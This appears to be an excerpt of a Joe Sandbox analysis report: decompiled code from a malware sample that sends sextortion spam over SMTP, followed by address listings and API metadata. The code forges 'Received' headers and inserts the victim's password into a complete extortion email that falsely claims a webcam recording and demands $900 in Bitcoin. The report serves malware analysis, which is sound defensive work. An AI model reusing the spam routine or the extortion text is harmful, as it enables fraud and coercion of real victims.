					while( *(_t197 - 0x20) != 0 &&  *(_t197 - 0x20) != 8) {
						_t175 = E00321160( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490, 0x400); // executed
						_t202 = _t200 + 0xc;
						 *((intOrPtr*)(_t197 - 0x90)) = _t175;
						if( *((intOrPtr*)(_t197 - 0x90)) != 0) {
							L5:
							 *((char*)(_t197 +  *((intOrPtr*)(_t197 - 0x90)) - 0x490)) = 0;
							_t176 = E003211C0(_t197 - 0x490);
							_t200 = _t202 + 4;
							__eflags = _t176;
							if(_t176 != 0) {
								L7:
								 *(_t197 - 0x758) =  *(_t197 - 0x20);
								 *(_t197 - 0x758) =  *(_t197 - 0x758) - 1;
								__eflags =  *(_t197 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t197 - 0x758) * 4 +  &M00322324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t179 = StrStrA(_t197 - 0x490);
										__eflags = _t179;
										if(_t179 == 0) {
											_t180 = wsprintfA(_t197 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t203 = _t200 + 0xc;
											 *(_t197 - 0x494) = _t180;
										} else {
											_t183 = wsprintfA(_t197 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t203 = _t200 + 0xc;
											 *(_t197 - 0x494) = _t183;
										}
										_t182 = E00321120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *(_t197 - 0x494)); // executed
										_t200 = _t203 + 0xc;
										__eflags = _t182;
										if(_t182 != 0) {
											 *(_t197 - 0x20) = 3;
										} else {
											 *(_t197 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax = __ebp - 0x4c8;
										__eax = E003218D0(__ecx, __eflags, __ebp - 0x4c8); // executed
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<JohnBlue@%s>", __eax);
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x4cc) = __eax;
										__ecx =  *(__ebp - 0x4cc);
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4cc)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x4d0) = __eax;
										__eax =  *(__ebp - 0x4d0);
										__ecx = __ebp - 0x490;
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4d0)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										goto L0;
									case 5:
										L24:
										__ecx = __ebp - 0x658;
										E00321320(__ebp - 0x658, 5, __ebp - 0x658) = wsprintfA(__ebp - 0x538, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x750 = E00321490(0, __ebp - 0x750, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x6d0;
										__eax = E00321490(0, __ebp - 0x6d0, 0); // executed
										__eax = __ebp - 0x538;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E00321390(0xd2, 7, __ebp - 0x6e8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x538, __ebp - 0x6d0);
										__esp = __esp + 0x24;
										 *(__ebp - 0x754) = __eax;
										__ecx =  *(__ebp - 0x754);
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = __ebp - 0x750;
											E00321320(__ecx, 3, __ebp - 0x664) = __ebp - 0x6dc;
											__eax = E00321320(__ecx, 5, __ebp - 0x6dc);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x754) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: John Blue %s\r\n", __ebp - 0x88);
												__esp = __esp + 0xc;
												 *(__ebp - 0x754) = __eax;
												__ecx =  *(__ebp - 0x754);
												__eax =  *(__ebp - 0x1c);
												__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x754) = __eax;
													__eax =  *(__ebp - 0x754);
													__ecx = __ebp - 0x490;
													__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x754) = __eax;
														__ecx =  *(__ebp - 0x754);
														__eax =  *(__ebp - 0x1c);
														__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__ecx = __ebp - 0x6d0;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x6d0);
															__esp = __esp + 0xc;
															 *(__ebp - 0x754) = __eax;
															__eax =  *(__ebp - 0x754);
															__ecx = __ebp - 0x490;
															__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__eax = __ebp - 0x538;
																__ecx = __ebp - 0x664;
																E00321320(__ecx, 6, __ecx) = E00321320(__ecx, 6, __ebp - 0x6dc);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x538);
																__esp = __esp + 0x14;
																 *(__ebp - 0x754) = __eax;
																__ecx =  *(__ebp - 0x754);
																__eax =  *(__ebp - 0x1c);
																__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	__eax = E00321120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__eax = E00321120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__ebp - 0x640 = memset(__ebp - 0x640, 0, 0x104);
																			__ecx = __ebp - 0x640;
																			strcpy(__ebp - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat(__ebp - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																			__ebp - 0x640 = strcat(__ebp - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "If you think this is some bad joke, no, I know your password: ") = __ebp - 0x640;
																			__eax = strcat(__ebp - 0x640,  *(__ebp + 0xc));
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "The only way to stop me, is to pay exactly 900$ in Bitcoin (BTC).\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																			__eflags = __eax;
																			if(__eax != 0) {
																				__ecx = __ebp - 0x640;
																				memset(__ebp - 0x640, 0, 0x104) = strcpy(__ebp - 0x640, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
																				__ebp - 0x640 = strcat(__ebp - 0x640, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "I give you 3 days time to pay.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "ClientMailID: ");
																				__ecx = __ebp - 0x64c;
																				E00321320(__ebp - 0x64c, 7, __ebp - 0x64c) = strcat(__ebp - 0x640, __eax);
																				__ebp - 0x640 = strcat(__ebp - 0x640, "\r\n.\r\n");
																				__ecx = __ebp - 0x640;
																				__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																				__eflags = __eax;
																				if(__eax != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										 *(__ebp - 0x1c) = E00321120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t197 - 8) = 0 |  *(_t197 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t197 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t197 - 0x1c)));
					return  *(_t197 - 8);
				}
			}










                                                                                                                                                                                                                                                                                                                                                      0x00321d18
                                                                                                                                                                                                                                                                                                                                                      0x00321d18
                                                                                                                                                                                                                                                                                                                                                      0x00321d18
                                                                                                                                                                                                                                                                                                                                                      0x00321d23
                                                                                                                                                                                                                                                                                                                                                      0x00321d28
                                                                                                                                                                                                                                                                                                                                                      0x00321d2d
                                                                                                                                                                                                                                                                                                                                                      0x00321d3b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222f3
                                                                                                                                                                                                                                                                                                                                                      0x00321b44
                                                                                                                                                                                                                                                                                                                                                      0x00321b49
                                                                                                                                                                                                                                                                                                                                                      0x00321b4c
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x00321b60
                                                                                                                                                                                                                                                                                                                                                      0x00321b66
                                                                                                                                                                                                                                                                                                                                                      0x00321b75
                                                                                                                                                                                                                                                                                                                                                      0x00321b7a
                                                                                                                                                                                                                                                                                                                                                      0x00321b7d
                                                                                                                                                                                                                                                                                                                                                      0x00321b7f
                                                                                                                                                                                                                                                                                                                                                      0x00321b86
                                                                                                                                                                                                                                                                                                                                                      0x00321b89
                                                                                                                                                                                                                                                                                                                                                      0x00321b98
                                                                                                                                                                                                                                                                                                                                                      0x00321b9e
                                                                                                                                                                                                                                                                                                                                                      0x00321ba5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bab
                                                                                                                                                                                                                                                                                                                                                      0x00321bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bc4
                                                                                                                                                                                                                                                                                                                                                      0x00321bca
                                                                                                                                                                                                                                                                                                                                                      0x00321bcc
                                                                                                                                                                                                                                                                                                                                                      0x00321c01
                                                                                                                                                                                                                                                                                                                                                      0x00321c07
                                                                                                                                                                                                                                                                                                                                                      0x00321c0a
                                                                                                                                                                                                                                                                                                                                                      0x00321bce
                                                                                                                                                                                                                                                                                                                                                      0x00321bdf
                                                                                                                                                                                                                                                                                                                                                      0x00321be5
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321c22
                                                                                                                                                                                                                                                                                                                                                      0x00321c27
                                                                                                                                                                                                                                                                                                                                                      0x00321c2a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2c
                                                                                                                                                                                                                                                                                                                                                      0x00321c3a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c4d
                                                                                                                                                                                                                                                                                                                                                      0x00321c5b
                                                                                                                                                                                                                                                                                                                                                      0x00321c62
                                                                                                                                                                                                                                                                                                                                                      0x00321c68
                                                                                                                                                                                                                                                                                                                                                      0x00321c77
                                                                                                                                                                                                                                                                                                                                                      0x00321c7e
                                                                                                                                                                                                                                                                                                                                                      0x00321c84
                                                                                                                                                                                                                                                                                                                                                      0x00321c87
                                                                                                                                                                                                                                                                                                                                                      0x00321c8d
                                                                                                                                                                                                                                                                                                                                                      0x00321c9b
                                                                                                                                                                                                                                                                                                                                                      0x00321c9f
                                                                                                                                                                                                                                                                                                                                                      0x00321ca7
                                                                                                                                                                                                                                                                                                                                                      0x00321ca9
                                                                                                                                                                                                                                                                                                                                                      0x00321cb7
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd9
                                                                                                                                                                                                                                                                                                                                                      0x00321cdc
                                                                                                                                                                                                                                                                                                                                                      0x00321ce2
                                                                                                                                                                                                                                                                                                                                                      0x00321ce9
                                                                                                                                                                                                                                                                                                                                                      0x00321cf4
                                                                                                                                                                                                                                                                                                                                                      0x00321cfc
                                                                                                                                                                                                                                                                                                                                                      0x00321cfe
                                                                                                                                                                                                                                                                                                                                                      0x00321d0c
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d65
                                                                                                                                                                                                                                                                                                                                                      0x00321d6b
                                                                                                                                                                                                                                                                                                                                                      0x00321d79
                                                                                                                                                                                                                                                                                                                                                      0x00321d86
                                                                                                                                                                                                                                                                                                                                                      0x00321d8e
                                                                                                                                                                                                                                                                                                                                                      0x00321d97
                                                                                                                                                                                                                                                                                                                                                      0x00321da6
                                                                                                                                                                                                                                                                                                                                                      0x00321dad
                                                                                                                                                                                                                                                                                                                                                      0x00321db2
                                                                                                                                                                                                                                                                                                                                                      0x00321db3
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321dbe
                                                                                                                                                                                                                                                                                                                                                      0x00321dc3
                                                                                                                                                                                                                                                                                                                                                      0x00321dc4
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dcf
                                                                                                                                                                                                                                                                                                                                                      0x00321dd4
                                                                                                                                                                                                                                                                                                                                                      0x00321dd5
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321de0
                                                                                                                                                                                                                                                                                                                                                      0x00321de5
                                                                                                                                                                                                                                                                                                                                                      0x00321de6
                                                                                                                                                                                                                                                                                                                                                      0x00321deb
                                                                                                                                                                                                                                                                                                                                                      0x00321e08
                                                                                                                                                                                                                                                                                                                                                      0x00321e0f
                                                                                                                                                                                                                                                                                                                                                      0x00321e15
                                                                                                                                                                                                                                                                                                                                                      0x00321e18
                                                                                                                                                                                                                                                                                                                                                      0x00321e1e
                                                                                                                                                                                                                                                                                                                                                      0x00321e2c
                                                                                                                                                                                                                                                                                                                                                      0x00321e30
                                                                                                                                                                                                                                                                                                                                                      0x00321e38
                                                                                                                                                                                                                                                                                                                                                      0x00321e3a
                                                                                                                                                                                                                                                                                                                                                      0x00321e48
                                                                                                                                                                                                                                                                                                                                                      0x00321e61
                                                                                                                                                                                                                                                                                                                                                      0x00321e6a
                                                                                                                                                                                                                                                                                                                                                      0x00321e78
                                                                                                                                                                                                                                                                                                                                                      0x00321e7f
                                                                                                                                                                                                                                                                                                                                                      0x00321e85
                                                                                                                                                                                                                                                                                                                                                      0x00321e88
                                                                                                                                                                                                                                                                                                                                                      0x00321e95
                                                                                                                                                                                                                                                                                                                                                      0x00321e9c
                                                                                                                                                                                                                                                                                                                                                      0x00321ea0
                                                                                                                                                                                                                                                                                                                                                      0x00321ea8
                                                                                                                                                                                                                                                                                                                                                      0x00321eaa
                                                                                                                                                                                                                                                                                                                                                      0x00321ec4
                                                                                                                                                                                                                                                                                                                                                      0x00321ecb
                                                                                                                                                                                                                                                                                                                                                      0x00321ed1
                                                                                                                                                                                                                                                                                                                                                      0x00321ed4
                                                                                                                                                                                                                                                                                                                                                      0x00321eda
                                                                                                                                                                                                                                                                                                                                                      0x00321ee8
                                                                                                                                                                                                                                                                                                                                                      0x00321eec
                                                                                                                                                                                                                                                                                                                                                      0x00321ef4
                                                                                                                                                                                                                                                                                                                                                      0x00321ef6
                                                                                                                                                                                                                                                                                                                                                      0x00321f04
                                                                                                                                                                                                                                                                                                                                                      0x00321f14
                                                                                                                                                                                                                                                                                                                                                      0x00321f1a
                                                                                                                                                                                                                                                                                                                                                      0x00321f1d
                                                                                                                                                                                                                                                                                                                                                      0x00321f23
                                                                                                                                                                                                                                                                                                                                                      0x00321f2a
                                                                                                                                                                                                                                                                                                                                                      0x00321f35
                                                                                                                                                                                                                                                                                                                                                      0x00321f3d
                                                                                                                                                                                                                                                                                                                                                      0x00321f3f
                                                                                                                                                                                                                                                                                                                                                      0x00321f57
                                                                                                                                                                                                                                                                                                                                                      0x00321f5e
                                                                                                                                                                                                                                                                                                                                                      0x00321f64
                                                                                                                                                                                                                                                                                                                                                      0x00321f67
                                                                                                                                                                                                                                                                                                                                                      0x00321f6d
                                                                                                                                                                                                                                                                                                                                                      0x00321f7b
                                                                                                                                                                                                                                                                                                                                                      0x00321f7f
                                                                                                                                                                                                                                                                                                                                                      0x00321f87
                                                                                                                                                                                                                                                                                                                                                      0x00321f89
                                                                                                                                                                                                                                                                                                                                                      0x00321f97
                                                                                                                                                                                                                                                                                                                                                      0x00321faa
                                                                                                                                                                                                                                                                                                                                                      0x00321fb0
                                                                                                                                                                                                                                                                                                                                                      0x00321fb3
                                                                                                                                                                                                                                                                                                                                                      0x00321fb9
                                                                                                                                                                                                                                                                                                                                                      0x00321fc0
                                                                                                                                                                                                                                                                                                                                                      0x00321fcb
                                                                                                                                                                                                                                                                                                                                                      0x00321fd3
                                                                                                                                                                                                                                                                                                                                                      0x00321fd5
                                                                                                                                                                                                                                                                                                                                                      0x00321fe3
                                                                                                                                                                                                                                                                                                                                                      0x00321fea
                                                                                                                                                                                                                                                                                                                                                      0x00322005
                                                                                                                                                                                                                                                                                                                                                      0x00322013
                                                                                                                                                                                                                                                                                                                                                      0x0032201a
                                                                                                                                                                                                                                                                                                                                                      0x00322020
                                                                                                                                                                                                                                                                                                                                                      0x00322023
                                                                                                                                                                                                                                                                                                                                                      0x00322029
                                                                                                                                                                                                                                                                                                                                                      0x00322037
                                                                                                                                                                                                                                                                                                                                                      0x0032203b
                                                                                                                                                                                                                                                                                                                                                      0x00322043
                                                                                                                                                                                                                                                                                                                                                      0x00322045
                                                                                                                                                                                                                                                                                                                                                      0x0032205a
                                                                                                                                                                                                                                                                                                                                                      0x0032205e
                                                                                                                                                                                                                                                                                                                                                      0x00322066
                                                                                                                                                                                                                                                                                                                                                      0x00322068
                                                                                                                                                                                                                                                                                                                                                      0x00322081
                                                                                                                                                                                                                                                                                                                                                      0x00322089
                                                                                                                                                                                                                                                                                                                                                      0x0032208b
                                                                                                                                                                                                                                                                                                                                                      0x003220a7
                                                                                                                                                                                                                                                                                                                                                      0x003220b4
                                                                                                                                                                                                                                                                                                                                                      0x003220cf
                                                                                                                                                                                                                                                                                                                                                      0x003220e3
                                                                                                                                                                                                                                                                                                                                                      0x003220f0
                                                                                                                                                                                                                                                                                                                                                      0x00322103
                                                                                                                                                                                                                                                                                                                                                      0x0032210a
                                                                                                                                                                                                                                                                                                                                                      0x00322117
                                                                                                                                                                                                                                                                                                                                                      0x00322146
                                                                                                                                                                                                                                                                                                                                                      0x00322153
                                                                                                                                                                                                                                                                                                                                                      0x00322182
                                                                                                                                                                                                                                                                                                                                                      0x0032218f
                                                                                                                                                                                                                                                                                                                                                      0x003221a7
                                                                                                                                                                                                                                                                                                                                                      0x003221ab
                                                                                                                                                                                                                                                                                                                                                      0x003221b3
                                                                                                                                                                                                                                                                                                                                                      0x003221b5
                                                                                                                                                                                                                                                                                                                                                      0x003221ca
                                                                                                                                                                                                                                                                                                                                                      0x003221e5
                                                                                                                                                                                                                                                                                                                                                      0x003221f9
                                                                                                                                                                                                                                                                                                                                                      0x00322206
                                                                                                                                                                                                                                                                                                                                                      0x00322235
                                                                                                                                                                                                                                                                                                                                                      0x00322242
                                                                                                                                                                                                                                                                                                                                                      0x00322271
                                                                                                                                                                                                                                                                                                                                                      0x00322279
                                                                                                                                                                                                                                                                                                                                                      0x00322292
                                                                                                                                                                                                                                                                                                                                                      0x003222a6
                                                                                                                                                                                                                                                                                                                                                      0x003222b0
                                                                                                                                                                                                                                                                                                                                                      0x003222bb
                                                                                                                                                                                                                                                                                                                                                      0x003222c3
                                                                                                                                                                                                                                                                                                                                                      0x003222c5
                                                                                                                                                                                                                                                                                                                                                      0x003222d0
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222d9
                                                                                                                                                                                                                                                                                                                                                      0x003222e4
                                                                                                                                                                                                                                                                                                                                                      0x003222ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x003222f8
                                                                                                                                                                                                                                                                                                                                                      0x00322301
                                                                                                                                                                                                                                                                                                                                                      0x0032230a
                                                                                                                                                                                                                                                                                                                                                      0x00322314
                                                                                                                                                                                                                                                                                                                                                      0x00322320
                                                                                                                                                                                                                                                                                                                                                      0x00322320

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: lstrlenA.KERNEL32(?), ref: 0032112D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00321120: send.WS2_32(?,?,000000FF,00000000), ref: 00321144
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 0032230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 00322314
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000005.00000002.632888682.0000000000321000.00000020.00000001.01000000.00000008.sdmp, Offset: 00320000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632860931.0000000000320000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632915440.0000000000323000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000005.00000002.632962535.0000000000326000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_320000_311029678.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: closesocketlstrlensendshutdown
